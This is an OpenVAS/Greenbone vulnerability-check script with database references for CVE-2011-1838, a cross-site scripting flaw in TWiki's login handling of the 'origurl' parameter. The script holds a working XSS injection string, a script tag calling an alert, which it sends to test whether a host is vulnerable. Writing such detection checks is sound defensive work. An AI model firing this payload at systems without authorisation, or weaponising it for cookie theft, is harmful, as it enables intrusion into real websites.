TWiki < 5.0.2 'TemplateLogin.pm' Multiple XSS Vulnerabilities
🗓️ 26 May 2011 00:00:00Reported by Copyright (C) 2011 Greenbone AGType
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| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
| CVE-2011-1838 | 18 May 201100:00 | – | circl | |
| CVE-2011-1838 | 20 May 201122:00 | – | cve | |
| CVE-2011-1838 | 20 May 201122:00 | – | cvelist | |
| TWiki 5.0.1 - 'origurl' Cross-Site Scripting | 18 May 201100:00 | – | exploitdb | |
| EUVD-2011-1836 | 7 Oct 202500:30 | – | euvd | |
| CVE-2011-1838 | 20 May 201122:55 | – | nvd | |
| TWiki 5.0.1 Cross Site Scripting | 18 May 201100:00 | – | packetstorm | |
| Cross site scripting | 20 May 201122:55 | – | prion | |
| XSS vulnerability in TWiki < 5.0.2 | 21 May 201100:00 | – | securityvulns | |
| Web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl) | 21 May 201100:00 | – | securityvulns |
| Source | Link |
|---|---|
| mavitunasecurity | www.mavitunasecurity.com/netsparker-advisories/ |
| mavitunasecurity | www.mavitunasecurity.com/XSS-vulnerability-in-Twiki/ |
| twiki | www.twiki.org/cgi-bin/view/Codev/SecurityAlert-CVE-2011-1838 |
| twiki | www.twiki.org/cgi-bin/view/Codev/DownloadTWiki |
| securityfocus | www.securityfocus.com/bid/47899 |
| secunia | www.secunia.com/advisories/44594 |
| securitytracker | www.securitytracker.com/id |
# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:twiki:twiki";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.902434");
script_version("2025-09-05T15:40:40+0000");
script_tag(name:"last_modification", value:"2025-09-05 15:40:40 +0000 (Fri, 05 Sep 2025)");
script_tag(name:"creation_date", value:"2011-05-26 10:47:46 +0200 (Thu, 26 May 2011)");
script_tag(name:"cvss_base", value:"4.3");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
script_cve_id("CVE-2011-1838");
script_name("TWiki < 5.0.2 'TemplateLogin.pm' Multiple XSS Vulnerabilities");
script_copyright("Copyright (C) 2011 Greenbone AG");
script_category(ACT_ATTACK);
script_family("Web application abuses");
script_dependencies("gb_twiki_detect.nasl");
script_require_ports("Services/www", 80);
script_mandatory_keys("twiki/detected");
script_tag(name:"impact", value:"Successful exploitation could allow attackers to inject arbitrary web script
or HTML. This may allow the attacker to steal cookie-based authentication credentials and to launch other
attacks.");
script_tag(name:"affected", value:"TWiki version prior to 5.0.2");
script_tag(name:"insight", value:"Multiple flaws are due to an input validation error in lib/TWiki
/LoginManager/TemplateLogin.pm, when handling 'origurl' parameter to a view or login script.");
script_tag(name:"solution", value:"Apply the patch or upgrade to TWiki 5.0.2 or later.");
script_xref(name:"URL", value:"http://twiki.org/cgi-bin/view/Codev/DownloadTWiki");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/47899");
script_tag(name:"summary", value:"TWiki is prone to multiple cross-site scripting (XSS)
vulnerabilities.");
script_xref(name:"URL", value:"http://secunia.com/advisories/44594");
script_xref(name:"URL", value:"http://securitytracker.com/id?1025542");
script_xref(name:"URL", value:"http://www.mavitunasecurity.com/netsparker-advisories/");
script_xref(name:"URL", value:"http://www.mavitunasecurity.com/XSS-vulnerability-in-Twiki/");
script_xref(name:"URL", value:"http://twiki.org/cgi-bin/view/Codev/SecurityAlert-CVE-2011-1838");
script_tag(name:"solution_type", value:"VendorFix");
script_tag(name:"qod_type", value:"remote_analysis");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
if( ! port = get_app_port( cpe:CPE ) ) exit( 0 );
if( ! dir = get_app_location( cpe:CPE, port:port ) ) exit( 0 );
if( dir == "/" ) dir = "";
url = dir + '/login/Main/WebHome?"1=;origurl=1""' +
'--></style></script><script>alert("XSS-TEST")</script>';
req = http_get( item:url, port:port );
res = http_keepalive_send_recv( port:port, data:req );
if(res =~ "^HTTP/1\.[01] 200" && '-></style></script><script>alert("XSS-TEST")</script>' >< res ) {
report = http_report_vuln_url( port:port, url:url );
security_message( port:port, data:report );
exit( 0 );
}
exit( 99 );
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